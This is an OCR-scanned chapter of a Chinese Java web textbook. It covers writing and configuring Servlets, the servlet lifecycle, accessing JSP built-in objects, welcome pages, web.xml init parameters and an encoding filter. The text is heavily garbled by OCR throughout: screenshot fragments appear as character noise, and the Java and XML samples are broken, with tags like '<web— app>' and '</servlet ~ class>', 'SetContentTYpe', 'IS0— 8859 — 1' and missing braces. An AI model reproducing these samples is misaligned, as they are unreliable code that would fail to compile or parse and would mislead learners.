Java 类 ,适合 纯 编 程 。 如 果 是 纯 编 程 , 比 将 Java 代码 混合 在 HTML 中 的 JSP 要 好 得 多 。 


9.2 编写 Servlet 


9.2.1 建立 Servlet 


首先 建立 项 目 Pri09。 本 节 建 立 一 个 最 简单 的 Servlet , 该 Servlet 的 作用 是 访问 这 个 
Servlet 时 显示 一 句 欢迎 信息 。 在 项 目 中 首先 建立 一 个 包 用 来 存放 Servlet, 名 字 可 以 自己 取 , 此 
处 为 servlets, 由 于 Servlet 本 质 上 是 一 个 Java 类 ,所 以 三 ET] 

可 以 直接 建立 一 个 类 WelcomeServlet, 放 到 servlets 包 “4 臣 sr 
中 ,如 图 9-1 所 示 。 | 


此 时 WelcomeServlet 内 没有 任何 代码 , 接 下 来 开 


图 9-1 创建 Java 类 
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始 编写 Servlet。 
一 个 普通 的 类 不 可 能 成 为 Servlet, 要 想 成 为 Servlet, 还 需要 完成 以 下 步骤 。 
(1) 让 这 个 类 继承 HttpServlet。 


import javax. servlet. http. HttpServlet; 
public class WelcomeServlet extends HttpServlet{} 


(2) 重 写 HttpServlet 的 doGet( 方 法 。 
由 于 直接 访问 Servlet 属于 get 方法 请 求 , 所 以 在 doGet() 访 法 中 进行 输出 ,该 方法 是 在 
HttpServlet 中 定义 的 方法 。 因 此 ,整个 代码 变 为 如 下 的 WelcomeServlet. java。 


WelcomeServlet. java 


package servlets; 


import java. io. IOException; 

import java. io. PrintWriter; 

import javax. servlet. ServletException; 

import javax. servlet. http. HttpServlet; 

import javax. servlet. http. HttpServletRequest; 
import javax. servlet. http. HttpServletResponse; 


public class WelcomeServlet extends HttpServlet{ 
protected void doGet (HttpServletRequest request, HttpServletResponse response) 
throws ServletException, IOException { 

response. setContentType( "text/html;charset = gb2312"); 

PrintWriter out = response. getWriter( ); 


out. println(" 欢 迎 来 到 本 系统 !"); 


这 就 是 一 个 建 好 的 Servlet 程序 了 。 
注意 : 建立 Servlet 还 有 一 种 比较 简便 的 方法 ,也 能 得 到 类 似 代码 ,具体 方法 如 下 。 
@ 右 击 包 ,在 弹出 的 快捷 菜单 中 选择 New|Servlet 命令 ,如 图 9-2 所 示 。 


Bpackage Exp ww 吕 震 EJB Project (Optional Maven Support) 
Go lnto 窗 Enterprise Application Project 
2 总 Pj09 Open in New Window 前 Web Project (Optional Maven Support) 
2src Open Type Hierarchy R | 一 Web Service Project (Optional Maven Suppor 
“上 辐 到 showm Alt+shih+Wr | 由 Java Project 
> 国 一 甸 Report Web Project (Optional Maven Support) 
bm RES|E copy CHC |p3 projec. 
卢 Copy Qualified Name 
『 三 Java 坑 Package 
， 名 webl 合 Pace CosV 
其 Delete Delete |G@ Class 
@ Interface 
Build Path » Source Folder 
Source A+Shifl+S» | [3 Folder 
Refactor At+shittTy | 3 Fle 
di et 区 Applet 
一 一 pport- 症 ”HTML (Advanced Templates) 
re 让 加 Jsp (Advanced Templates) 
Declarations C3 Se 
§ Seviet 


图 9-2 通过 快捷 方式 创建 Servlet 
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@ 在 弹出 的 对 话 框 中 配置 相应 信息 ,如 图 9-3 所 示 。 


Name: WelcomeServiet 
Wp @publc ©default | Bd 
abstract final 癌 static 
javax.serviet http.HttpServiet Browse 
Interfaces: 
Remove 
ep -= 
Which method stubs would you like to create? 
Inherited abstract methods 回 doGet0 
] Constructors from superclass 加 doPost0 
init0 and destroy0 doput0 
回 dopelete0 加 getservletinfo0 
9-3 配置 相应 的 信息 
(3) 配置 Servlet。 4 马 WebRoot 
编写 完 一 个 Servlet 后 还 不 能 直接 访问 ,需要 配置 Servlet， > me es 
才能 通过 URL 映射 到 与 之 对 应 的 Servlet 中 ,用 户 才 能 对 它 进 包 lb 
行 访问 ee 


Servlet 的 配置 是 通过 web. xml 文件 来 实现 的 ,如 图 9-4 图 9-4 web. xml 的 路 径 
所 示 。 

可 以 清楚 地 看 到 ,web. xml 文件 位 于 “WebRoot/ WEB-INF”* 下 面 。 

首先 来 看 配置 好 的 web. xml 的 结构 。 


web. xml 


<?xml version= "1.0" encoding = "UTF - 8"?> 
<web— app version = "2.5" xmlns = "http://java. sun. com/xml/ns/javaee" 
xmlns:xsi= "http://www.w3.org/2001/XMLSchema — instance" 
xsi:schemaLocation = "http://java. sun. com/xml/ns/javaee 
http://java. sun. com/xml/ns/javaee/web - app_2_5.xsd"> 
<servlet> 
< servlet - name > WelcomeServlet </servlet - name> 
< servlet - class > servlets. WelcomeServlet </servlet ~ class> 
</servlet > 
< Servlet 一 mapping> 
< servlet - name > WelcomeServlet </ servlet - name> 
< url - pattern>/servlets/WelcomeServlet </url - pattern> 
</servlet — mapping> 
</web— app> 


以 上 配置 表示 给 servlets. WelcomeServlet 取 名 为 WelcomeServlet, 在 访问 时 以 : 
http:// 服 务 器 :端口 /项 目 虚拟 目录 名 /servlets/WelcomeServlet 
来 访问 ,例如 “http://localhost:8080/Prj09/servlets/ WelcomeServlet”。 注 意 : 
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< servlet — name > WelcomeServlet </ servlet ~ name> 


用 户 可 以 自己 命名 ,不 一 定 要 和 原文 件 名字 一 样 ,但 是 两 个 servlet-name 名 字 必 须 相 
同 。 同 时 : 


<url - pattern>/servlets/FirstServlet </url - pattern> 


中 ,此 url-pattern 也 不 一 定 是 Servlet 的 包 路 径 , 只 是 为 了 方便 ,一 般 都 是 用 包 路 径 来 表示 。 

(4) 部 署 Servlet。 

Servlet 的 部 署 和 前 面 讲 过 的 JSP 的 部 署 是 相同 的 ,只 要 部 署 整 个 项 目 就 行 。 不 过 需要 
指出 的 是 ,Servlet 部 署 之 后 Servlet 的 class 文件 在 服务 器 Tomcat 相应 项 目的 “WEB-INF/ 
classes” 目 录 下 面 ,如 图 9-5 所 示 。 

实际 上 ,src 目录 下 的 所 有 源 文件 经 过 部 署 都 会 放 在 Tomcat 相应 项 目的 “WEB-INF/ 
classes” 目 录 下 面 。 

(5) 测试 Servlet。 

部 署 后 在 浏览 器 上 输入 “http://localhost: 8080/Prj09/servlets/WelcomeServlet”, 运 
行 结果 如 图 9-6 所 示 。 


4 Prio9 < 名称 
BB META-INF 
2 BB WEB-INF 
图 dasses 
Bh sevets 


国有 欢迎 来 到 本 系统 ! 
图 9-5 生成 的 class 文件 的 路 径 图 9-6 访问 Servlet 


口 welcomeServlet.class 


9.2.2 Servlet 的 运行 机 制 
本 节 讲 解 Servlet 的 运行 机 制 ,对 前 面 的 Servlet 进行 修改 ,代码 如 WelcomeServlet. java 
所 示 。 


WelcomeServlet. java 


public class WelcomeServlet extends HttpServlet{ 
public WelcomeServlet(){ 
System. out. println("WelcomeServlet 构造 函数 "); 
. 
Pprotected void doGet (HttpServletRequest request, 
HttpServletResponse response) throws ServletException, IOException { 


System. out. println("WelcomeServlet. doGet 函数 " ) ; 


以 上 代码 给 Servlet 增加 了 一 个 构造 函数 ,并 打印 一 个 标记 ,在 doGet0 函 数 中 也 打印 一 
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个 标记 。 重 新 部 署 ,运行 这 个 Servlet ,控制 台 打 印 如 图 9-7 所 示 。 
这 说 明 初次 运行 ,系统 会 实例 化 Servlet。 在 不 关闭 服务 器 的 情况 下 ,如 果 再 次 访问 这 
个 Servlet, 控 制 台 打印 如 图 9-8 所 示 。 
日 * 奖 | 访 凶 回国 | 


香 其 演 | 记 大 回国 eicameservlec 和 于 员 歼 

Welcomeservlet 和 造 函数 WelcomeServlet .doGet 团 数 

WelcomeServlet .doGet 困 数 WelcomeServlet .doGet 国 数 
图 9-7 控制 台 输出 1 图 9-8 控制 台 输出 2 


可 以 看 出 第 1 次 访问 运行 了 构造 函数 和 doGet0 函 数 ,而 第 2 次 访问 仅仅 运行 了 doGet0 函 
数 ,这 说 明 两 次 访问 只 创建 了 一 个 对 象 。 

读者 可 能 会 问 ,既然 只 创建 了 一 个 对 象 ,那么 很 多 用 户 同 时 访问 的 时 候 会 不 会 造成 等 
待 ? 答案 是 不 会 的 。 因 为 Servlet 采用 的 是 多 线程 机 制 , 每 一 次 请 求 ,系统 就 分 配 一 个 线程 
来 运行 doGet0 函 数 。 但 是 这 样 也 会 带 来 安全 问题 ,一 般 来 说 ,不 要 在 Servlet 内 定义 成 员 变 
量 ,除非 这 些 成 员 变量 是 所 有 用 户 共用 的 。 


9.3 ” Servlet 的 生命 周期 


Servlet 的 方法 分 为 以 下 几 类 。 

1. init0 方 法 

从 前 面 可 以 看 出 ,一 个 Servlet 在 服务 器 上 最 多 只 会 驻 留 一 个 实例 ,所 以 说 第 1 次 调用 
Servlet 时 将 会 创建 一 个 实例 。 在 实例 化 的 过 程 中 , HttpServlet 中 的 init() 方 法 会 被 调用 。 
因此 ,可 以 将 一 些 初始 化 代码 放 在 该 函数 内 。 

2. doGetO/doPostO/service( 方 法 

Servlet 有 两 个 处 理 方法 , 即 doGetO 和 doPostO。 

doGet() 在 以 get 方式 请 求 Servlet 时 运行 。 常 见 的 get 请 求 方式 有 链接 、get 方式 表单 
提交 直接 访问 Servlet。 

doPost() 在 以 post 方式 请 求 Servlet 时 运行 。 常 见 的 post 请 求 为 post 方式 表单 提交 。 

事实 上 ,客户 端 对 Servlet 发 送 一 个 请 求 , 服 务 器 端 将 会 开启 一 个 线程 ,该 线程 会 调用 
service 上 方法 ,service() 方 法 会 根据 收 到 的 客户 端 请 求 类 型 来 决定 是 调用 doGet0 还 是 调用 
doPost()。 在 一 般 情况 下 不 用 覆盖 service( 方 法 ,使 用 doGet0 与 doPost0 方 法 一 样 可 以 达到 
处 理 的 目的 。 

3. destroy() 方 法 

destroy( 访 法 在 Servlet 实例 消亡 时 自动 调用 。 


在 Web 服务 器 运行 Servlet 实例 时 因为 一 些 原因 ， 和 

Servlet 对 象 会 消亡 。 但 是 在 Servlet 消亡 之 前 还 必须 | jeupdnae setvica() 

进行 某 些 操作 ,比如 释放 数据 库 连接 以 节省 资源 等 ， 1 

这 个 时 候 就 可 以 重 写 destroy0 方 法 。 destroy() 
读者 从 前 面 的 例子 已 经 大 概 了 解 了 Servlet 的 

生命 周期 ,Servlet 的 生命 周期 如 图 9-9 所 示 。 图 9-9 Servlet 生命 周期 图 
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从 图 9-9 中 可 以 看 出 : 当 客户 端 向 Web 服务 器 提出 第 1 次 Servlet 请 求 时 , Web 服务 
器 会 实例 化 一 个 Servlet ,并且 调用 init( 方 法 ; 如 果 Web 服务 器 中 已 经 存在 了 一 个 Servlet 
实例 ,将 直接 使 用 此 实例 ; 然后 调用 service( 方 法 ,service( 方 法 将 根据 客户 端的 请 求 方式 来 
决定 调用 对 应 的 doXXX( 方 法 ; 当 Servlet 从 Web 服务 器 中 消亡 时 ,Web 服务 器 将 会 调用 
Servlet 的 destroy() 方 法 。 


9.4 Servlet 与 JSP 内 置 对 象 


既然 JSP 和 Servlet 等 价 ,在 JSP 中 可 以 使 用 内 置 对 象 ,那么 在 Servlet 中 应 该 也 可 以 使 
用 。 下 面 讲 解 获得 内 置 对 象 的 方法 。 

1. 获得 out 对 象 

在 前 面 已 经 提 到 JSP 中 的 out 对 象 对 应 于 Servlet 中 的 javax. servlet. jsp. JspWriter。 
用 户 可 以 使 用 如 下 代码 获得 out 对 象 。 


import java. io. PrintWriter; 


public void doGet (HttpServletRequest request, HttpServletResponse response) 
throws ServletException, IOException { 
PrintWriter out = response. getWriter( ); 


// 使 用 out 对 象 


不 过 ,在 默认 情况 下 out 对 象 是 无 法 打印 中 文 的 ,这 是 因为 out 输出 流 中 有 中 文 却 没有 
设置 编码 。 解 决 这 个 问题 可 以 将 doGetO 代 码 改 为 : 


response. SetContentTYpe("text/html;charset = gb2312"); 
PrintWriter out = response. getWriter( ); 


// 使 用 out 对 象 


2. 获得 request 和 response 对 象 
在 Servlet 中 获得 JSP 页 面 中 的 request 对 象 和 response 对 象 非常 容易 ,因为 它 已 经 作 


为 参数 传 给 了 doXXX( 方 法 。 


public void doGet(HttpServletRequest request, HttpServletResponse response) 
throws ServletException, IOException { 
// 将 request 参数 当成 request 对 象 使 用 
// 将 response 参数 当成 response 对 象 使 用 
中 


3. 获得 session 对 象 
session 对 象 对 应 的 是 HttpSession 接口 ,在 Servlet 中 它 可 以 通过 下 面 的 代码 获得 。 


import javax. servlet. http. HttpSession; 
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public void doGet(HttpServletRequest request, HttpServletResponse response) 
throws ServletException, IOException { 
HttpSession session = request. getSession( ); 


// 将 session 当成 session 对 象 来 使 用 


4. 获得 application 对 象 
application 对 象 对 应 的 是 ServletContext 接口 ,在 Servlet 中 它 可 以 通过 下 面 的 代码 
获得 。 


import javax. servlet. ServletContext; 


public void doGet (HttpServletRequest request, HttpServletResponse response) 
throws ServletException, IOException { 
ServletContext application = this. get ServletContext(); 
// 将 application 当成 application 对 象 来 使 用 


值得 一 提 的 是 ,可 以 使 用 application 实现 服务 器 内 跳 转 。 由 于 Servlet 和 JSP 具有 同 
质 性 ,常用 的 Servlet 内 跳 转 有 以 下 两 种 。 
(1) 重 定向 (对 应 JSP 隐 含 对 象 中 的 sendRedirectO) 。 


response. sendRedirect("URL 地 址 ") 


(2) 服务 器 内 跳 转 (对 应 JSP 隐 含 对 象 中 的 forwardO) 。 


ServletContext application = this. getServletContext( ); 
RequestDispatcher rd = application. getRequestDispatcher("URL 地 址 "); 
rd. forward( request, response); 


这 两 种 Servlet 内 的 跳 转 与 JSP 中 提 到 的 跳 转 是 等 效 的 。 

注意 : 两 种 方法 下 的 URL 地 址 写法 不 一 样 。 在 第 1 种 方法 中 ,如 果 写 绝对 路 径 , 必 须 
将 虚拟 目录 的 根 目录 写 在 里 面 , 例 如 */Prj09/page.jsp”; 而 在 第 2 种 方法 中 ,不 需要 将 虚拟 
目录 的 根 目录 写 在 里 面 ,例如 “/page.jsp”。 

由 于 其 他 对 象 使 用 较 少 ,在 此 不 再 叙述 。 


9.5 设置 欢迎 页 面 


很 多 门户 网 站 都 会 把 自己 的 首页 作为 网 站 的 欢迎 页 面 。 在 设置 完 欢迎 页 面 之 后 ,用 户 
登录 时 输入 的 URL 只 需要 是 该 门户 网 站 的 虚拟 目录 就 可 以 自动 访问 欢迎 页 面 。 例 如 , 假 
设 学 生 管 理 系统 希望 用 户 在 只 输入 网 站 的 虚拟 目录 的 时 候 就 能 够 来 到 它 的 欢迎 页 面 , 应 该 
怎么 做 ? 这 里 就 涉及 了 web. xml 里 面 的 一 个 设置 项 ,代码 如 下 。 
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<?xml version = "1.0"encoding= "UTF 一 8"?> 

< web 一 app version= "2.5" 
xmlns = "http://java. sun. com/xml/ns/javaee" 
xmlns:xsi= "http://www.w3.org/2001/XMLSchema - instance" 
xsi: schemaLocation = "http://java. sun. com/xml/ns/javaee 
http://java. sun. com/xml/ns/javaee/web - app_2_5.xsd"> 


<welcome — file— list> 
<! -- 所 要 设 定 的 欢迎 页 面 --> 
<welcome - file> welcome. jsp </welcome — file> 
</welcome - file- list> 


只 要 按照 以 上 方法 进行 设置 ,就 能 够 实现 在 只 输入 虚拟 目录 的 情况 下 来 到 学 生 管 理 系 
统 的 欢迎 页 面 。 下 面 的 welcome. jsp 是 学 生 管 理 系统 的 欢迎 页 面 ,代码 如 下 。 


welcome. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<html> 
<body> 
欢迎 来 到 本 系统 < br > 
</body> 
</html > 


部 署 后 ,如 果 是 以 往 , 需 要 在 浏览 器 的 地 址 栏 中 输入 “http://localhost: 8080/Prj09/ 
welcome.jsp”, 但 是 在 设置 完 欢迎 页 面 之 后 ,只 需要 在 浏览 器 的 地 址 栏 中 输入 “http:// 
localhost :8080/Prj09/”。 运 行 得 到 如 图 9-10 所 示 的 效果 。 

同样 也 来 到 了 欢迎 页 面 ! 欢迎 来 到 本 系统 

web. xml 可 以 同时 设置 多 个 欢迎 页 面 ,Web 容器 会 默认 设置 的 第 图 9.10 欢迎 页 面 
1 个 页 面 为 欢迎 页 面 , 如 果 找 不 到 最 前 面 的 页 面 , Web 容器 将 会 依次 
选择 后 面 的 页 面 作为 欢迎 页 面 。 例 如 : 


<welcome— file— list> 
<welcome - file> firstWelcome. jsp</welcome- file> 
< welcome — file> secondWelcome. jsp </welcome - file> 
</welcome - file— list> 
</web— app> 


当 第 1 个 欢迎 页 面 找 不 到 时 ,系统 会 依次 向 下 寻找 欢迎 页 面 ,直到 找到 为 止 。 
9.6 在 Servlet 中 读 取 参数 


9.6.1 设置 参数 


有 些 和 系统 有 关 的 信息 最 好 保存 在 配置 文件 内 ,例如 系统 中 的 字符 编码 ,数据 库 连 接 的 信 
息 (driverClassName、url、username、password) ,在 使 用 这 些 配置 时 从 配置 文件 中 读 , 但 是 读 
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取 配 置 文件 的 代码 必须 用 户 自己 来 写 ,比较 麻烦 。 那 么 能 否 比较 方便 地 获得 参数 ? 这 里 为 
web. xml 文件 参数 设置 提供 了 良好 的 方法 。 

web. xml 文件 有 下 列 两 种 类 型 的 参数 设置 。 

(1) 设置 全 局 参数 ,该 参数 所 有 的 Servlet 都 可 以 访问 。 


<context ~ param> 

< param - name > 参数 名 </param name > 

< param - value > 参数 值 </param - value > 
</context - param> 


上 述 代码 的 位 置 必须 在 web. xml 的 最 上 面 , 具 体位 置 可 以 参考 后 面 的 代码 。 
(2) 设置 局 部 参数 ,该 参数 只 有 相应 的 Servlet 才能 访问 。 


<servlet> 
< servlet - name > Servlet 名 称 </servlet - name> 
< servlet - class > Servlet 类 路 径 </servlet - class> 
< in 让 一 param> 

< param - name > 参数 名 </param - name> 
< param - value > 参数 值 </param - value> 

</init ~ param> 

</servlet > 


此 时 设置 的 参数 仅 在 该 Servlet 中 有 效 ,其 他 Servlet 得 不 到 该 参数 。 
下 面 实现 在 web. xml 中 设置 参数 ,代码 如 下 。 


web. xml 


<?xml version = "1.0" encoding = "UTF ~ 8"?> 
<web— app version = "2.5" xmlns = "http://java. sun. com/xml/ns/javaee" 
xmlns:xsi= "http://www.w3.org/2001/XMLSchema — instance" 
xsi:schemaLocation = "http://java. sun. com/xml/ns/javaee 
http://java. sun. com/xml/ns/javaee/web — app_2_5.xsd"> 
<!-- 设置 全 局 参数 --> 
< context — param> 
< param - name > encoding </param — name > 
< param — value > gb2312 </param - value > 
</context - param> 
<servlet> 
< servlet - name> InitServlet </servlet ~ name> 
< servlet - class > servlets. InitServlet </servlet - class> 
<!-- 设置 局 部 参数 --> 
<init- param> 
< param — name > driverClassName </param — name > 
< param — value > sun. jdbc. odbc. JdbcOdbcDriver </param — value > 
</init ~ param> 
</servlet > 
<servlet 一 mapping> 
< servlet - name> InitServlet </servlet ~ name> 
< url - pattern >/servlets/InitServlet </url - pattern> 
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</servlet - mapping> 
<! -其 他 内 容 略 一 > 
</web— app> 


9.6.2 获取 参数 
获取 全 局 参数 的 方法 如 下 。 


ServletContext application = this. getServletContext(); 
application. getInitParameter(" 参 数 名 称 "); 


获取 局 部 参数 的 方法 如 下 。 


this, getInitParameter(" 参 数 名 称 "); 


注意 : 此 处 的 this 是 指 Servlet 本 身 。 
下 面 用 一 个 Servlet 来 获取 设置 的 参数 ,代码 如 InitServlet. java 所 示 。 


JInitServlet. java 


package servlets; 

import java. io. IOException; 

import javax. servlet. ServletContext; 

import javax. servlet. ServletException; 

import javax. servlet. http. HttpServlet; 

import javax. servlet. http. HttpServletRequest; 
import javax. servlet. http. HttpServletResponse; 


public class InitServlet extends HttpServlet { 
public void doGet (HttpServletRequest request, HttpServletResponse response) 
throws ServletException, IOException { 
ServletContext application = this. getServletContext( ); 
String encoding = application. getInitParameter("encoding"); 
System. out. println("encoding 参数 是 : " + encoding); 
String driverClassName = this. getInitParameter("driverClassName" ); 
System. out. println("driverClassName 参数 是 : ”+ driverClassName); 


在 浏览 器 的 地 址 栏 中 输入 “http://localhost:8080/Prj09/servlets/InitServlet” 即 可 访 
问 InitServlet, 在 控制 台中 得 到 参数 ,如 图 9-11 所 示 。 


日 六 洋 | 记 凶 回 固 
encoding 人 参数 是 : gb2312 


driverClassName 参 数 是 : sun.jdbc.odbc.JdbcodbcDriver 


图 9-11 控制 台 输 出 
可 见 在 InitServlet 中 成 功 地 得 到 了 web. xml 中 的 值 。 
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不 过 ,在 一 般 情 况 下 不 使 用 web. xml 来 设置 参数 ,因为 web. xml 通常 用 来 设置 很 基本 
的 Web 配置 ,设置 太 多 参数 会 使 文件 过 于 腾 肿 。 实 际 用 于 设置 参数 的 文件 与 所 选取 的 参数 
有 关 。 例 如 在 Hibernate 框架 中 ,对 于 数据 库 配 置 有 专门 的 配置 文件 。 


9.7 使 用 过 滤器 


9.7.1 为 什么 需要 过 滤器 


为 什么 需要 过 滤器 ? 首先 来 看 以 下 几 个 情况 。 
1. 情况 一 
为 了 解决 中 文 乱码 问题 ,用 户 经 常会 看 到 下 列 一 段 代码 。 


request. setCharacterEncoding( "gb2312"); 
response. setContentType( "text/html;charset = gb2312"); 


这 是 Servlet 用 来 设置 编码 的 ,如 果 Servlet 处 理 方法 的 最 前 面 没有 加 入 这 段 代 码 , 则 很 
可 能 会 出 现 乱 码 问 题 。 

如 果 是 一 个 大 工程 ,会 有 很 多 的 Servlet, 于 是 很 多 人 发 现在 这 么 多 代码 中 重复 设置 编 
码 是 一 件 很 麻烦 的 事情 ; 而 且 , 一 旦 需求 变 了 ,需要 换 成 另外 的 编码 ,对 程序 员 来 说 将 是 一 
件 很 烦琐 的 事情 。 

2. 情况 二 

很 多 门户 网 站 都 会 有 登录 页 面 ,这 是 为 了 业务 需求 ,同时 也 是 为 了 使 用 户 控 制 更 加 安 
全 。 如 果 客 户 没有 登录 就 访问 网 站 的 某 一 受 限 页 面 , 在 很 多 情况 下 会 引发 安全 问题 。 那 么 
应 该 如 何 避 免 这 种 情况 ?在 一 般 情况 下 可 以 使 用 session 检查 来 完成 ,但 是 在 很 多 页 面 上 都 
添加 session 检查 代码 会 比较 烦琐 。 

3. 情况 三 

许多 网 站 存在 着 各 种 不 同 的 权限 ,通常 只 有 它 的 管理 员 才 可 以 对 网 站 进行 维护 和 修改 ， 
一 般 的 普通 用 户 是 无 法 完成 该 功能 的 。 登 录 后 ,网 页 如 何 区 分 是 普通 用 户 还 是 管理 员 ? 如 
果 是 每 一 个 页 面 写 一 个 判断 用 户 类 型 的 代码 ,似乎 非常 烦琐 。 

上 面 提 到 的 3 种 情况 都 可 以 用 过 滤器 来 解决 。 

过 滤器 属于 一 种 小 巧 的 .可 插入 的 Web 组 件 , 它 能 够 对 Web 应 用 程序 的 前 期 处 理 和 后 
期 处 理 进 行 控 制 , 可 以 拦截 请 求 和 响应 ,查看 、 提 取 或 者 以 某 种 方式 操作 正在 客户 端 和 服务 
器 之 间 进 行 交 换 的 数据 。 

9.7.2 编写 过 滤器 

Servlet 过 滤器 可 以 被 当 作 一 个 只 需要 在 web. xml 文件 中 配置 就 可 以 灵活 使 用 、 重 用 

的 模块 化 组 件 。 它 能 够 对 JSP.HTML 和 Servlet 文件 进行 过 滤 。 


实现 一 个 过 滤器 需要 下 列 两 个 步骤 。 
(1) 实现 接口 。 


javax. servlet. Filter; 
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(2) 实现 3 个 方法 ,具体 如 下 。 
@ 初始 化 方法 : 它 表 示 的 是 过 滤器 初始 化 时 的 动作 。 


public void init(FilterConfig config); 


加 消亡 方法 : 它 表示 的 是 过 滤器 消亡 时 的 动作 。 


public void destroy(); 


@ 过 滤 函 数 : 它 表示 的 是 过 滤器 过 滤 时 的 动作 。 


public void doFilter(ServletRequest request, ServletResponse response, 
FilterChain chain) ; 


下 面 以 9.7.1 节 中 的 情况 一 (中 文 乱码 问题 ) 进 行 举例 说 明 。 
在 没有 使 用 过 滤器 的 情况 下 首先 提供 一 个 表单 ,代码 如 filterForm. jsp 所 示 。 


filterForm. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
< html > 
< body> 
< form action = "servlets/DealWithServlet" method= "post"> 
请 输入 学 生 信息 的 模糊 资料 : 
< input type = "text" name= "stuname"><br> 
< input type = "submit" value = "查询 "> 
</form> 
</body> 
</html > 


运行 该 页 面 ,效果 如 图 9-12 所 示 。 


请 输入 学 生 信息 的 模糊 资料 


图 9-12 处理 页 面 
单 击 “ 查 询 ” 按 钮 提交 给 Servlet 处 理 ,代码 如 DealWithServlet. java 所 示 。 


DealWithServlet. java 


package servlets; 


import java. io. IOException; 

import javax. servlet. RequestDispatcher; 

import javax. servlet. ServletException; 

import javax. servlet. http. HttpServlet; 

import javax. servlet. http. HttpServletRequest; 
import javax. servlet. http. HttpServletResponse; 
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public class DealWithServlet extends HttpServlet { 
public void doGet (HttpServletRequest request, HttpServletResponse response) 
throws ServletException, IOException { 
doPost (request, response); 
’ 
public void doPost(HttpServletRequest request, HttpServletResponse response) 
throws ServletException, IOException { 
String stuname = request. getParameter( "stuname" ); 
System. out. println(" 学 生 姓 名 :" + stuname); 


在 web. xml 中 添加 如 下 内 容 。 


web. xml 


<servlet> 

< servlet - name > DealWithServlet </servlet - name> 

< servlet - class > servlets. DealWithServlet </servlet ~- class> 
</servlet > 
<servlet ~ mapping> 

< servlet - name > DealWithServlet </servlet - name> 

<url- pattern>/servlets/DealWithServlet </url - pattern> 
</servlet ~ mapping > 


在 filterForm. jsp 中 输入 “ 张 三 ”, 提 交 , 得 到 如 图 9-13 所 示 的 
效果 。 

以 前 解决 此 乱码 问题 的 方法 是 在 Servlet 中 设置 编码 ,在 前 面 已 
经 讲 过 该 方法 有 很 多 不 利 的 因素 。 下 面 用 添加 过 滤器 的 方法 解决 乱 
码 问题 ,代码 如 EncodingFilter. java 所 示 。 


EncodingFilter. java 


图 9-13 结果 显示 


package filter; 


import java. io. IOException; 

import javax. servlet. Filter; 

import javax. servlet. FilterChain; 
import javax. servlet. FilterConfig; 
import javax. servlet. ServletException; 
import javax. servlet. ServletRequest; 
import javax. servlet. ServletResponse; 


public class EncodingFilter implements Filter { 
public void init(FilterConfig config) throws ServletException {} 
public void destroy() {} 
public void doFilter(ServletRequest request, ServletResponse response, 
FilterChain chain) throws IOException, ServletException { 
request. setCharacterEncoding( "gb2312" ); 
chain. doFilter(request, response); 
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然后 在 web. xml 文件 中 配置 此 过 滤器 。 


web. xml 


<filter> 
<filter - name > EncodingFilter </filter ~ name> 
<filter— class> filter. EncodingFilter </filter ~- class> 
</filter> 
<filter — mapping> 
<filter - name > EncodingFilter </filter — name> 
<url— pattern>/ * </url— pattern> 
</filter 一 mapping> 


重新 登录 页 面 并 提交 ,得 到 如 图 9-14 所 示 的 效果 。 这 | 区 而 

乱码 问题 成 功 解决 ,很 显然 ,过 滤器 是 后 面 加 入 的 ,没有 对 源 代 a 张 三 
码 产 生 任何 影响 ,所 以 能 够 方便 开发 人 员 扩展 。 假 设 现在 业务 需求 
要 换 成 另外 一 个 编码 ,比如 *ISO-8859-1”, 只 需要 在 过 滤器 中 改 成 如 
下 代码 。 


图 9-14 结果 显示 


public class EncodingFilter implements Filter { 


public void doFilter(ServletRequest request, ServletResponse response, 
FilterChain chain) throws IOException, ServletException { 
request. setCharacterEncoding("IS0— 8859 — 1"); 
chain. doFilter(request, response); 


} 


如 果 是 传统 的 在 Servlet 中 设置 编码 ,就 不 得 不 在 所 有 Servlet 中 进行 修改 了 。 
从 前 面 的 内 容 可 以 看 出 ,过 滤器 的 配置 和 Servlet 非常 相似 ,过 滤器 的 配置 一 般 在 
web. xml 中 进行 ,基本 结构 如 下 。 


web. xml 


<filter> 
<filter ~ name > EncodingFilter </filter — name > 
<filter — class> filter. EncodingFilter </filter — class> 
<init -param> 
< param - name > paramName </param — name > 
< param — value > paramValue </param — value> 
</init ~ param> 
</filter> 
<filter ~ mapping> 
<filter— name> EncodingFilter </filter 一 name> 
<url - pattern>/* </url - pattern> 
</filter 一 mapping> 
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从 上 面 可 以 看 出 ,过 滤器 的 配置 有 以 下 几 个 步骤 。 

(1) 用 < filter > 元 素 定 义 过 滤器 。 

<filter > 元 素 有 以 下 两 个 必要 元 素 。 

。 <filter-name > 元 素 : 用 来 设 定 过 滤器 的 名 字 。 

。 <filter-class > 元 素 : 用 来 设 定 过 滤器 的 类 路 径 。 

<filter > 元 素 还 有 一 些 可 选 子 要 素 ,例如 < icon >、< description >、< display-name >、 
< init-param > 等 ,其 中 使 用 最 多 的 是 < init-param >。< init-param > 一 般 与 过 滤器 的 初始 化 
函数 一 起 使 用 ,用 于 参数 的 初始 化 ,通过 FilterConfig. getInitParameter() 函 数 获得 。 

(2) 用 < filter-mapping > 配置 过 滤器 的 映射 。 

在 <filtermapping > 元 素 中 ,< filter-name > 用 来 设 定 过 滤器 的 名 字 。 另 外 ,配置 过 滤器 
的 映射 最 主要 的 是 < url-pattern > 元 素 , 用 于 指定 过 滤 模 式 。 一 般 常 见 的 过 滤 模 式 有 以 下 
3 种 。 

@ 过 滤 所 有 文件 。 


<filter 一 mapping > 

<filter - name > FilterName </filter 一 name> 
<url - pattern >/ # </url ~ pattern> 
</filter 一 mapping> 


它 的 意义 是 访问 所 有 文件 之 前 过 滤器 都 要 进行 过 滤 , * 符号 代表 所 有 文件 。 
@ 过 滤 一 个 或 者 多 个 Servlet(JSP) 。 


<filter 一 mapping > 

<filter ~ name>FilterName </filter 一 name> 

< url - pattern >/PRTH1/ServletNamel(JSPNamel)</url - pattern> 
</filter ~ mapping> 

<filter ~ mapping> 

<filter ~ name > FilterName </filter ~- name> 

<url - pattern >/PATH2/ServletName2(JSPName2)</url - pattern> 
</filter 一 mapping> 


它 的 意义 是 过 滤器 能 够 对 一 个 Servlet(JSP) 或 者 多 个 Servlet(JSP) 进 行 过 滤 。 
@ 过 滤 一 个 或 者 多 个 文件 目录 。 


<filter 一 mapping > 

< filter - name> FilterName </filter 一 name> 
<url - pattern >/PRTH1/ * </url - pattern> 
</filter 一 mapping> 


它 的 意义 是 对 PATHI1 目录 进行 过 滤 。 
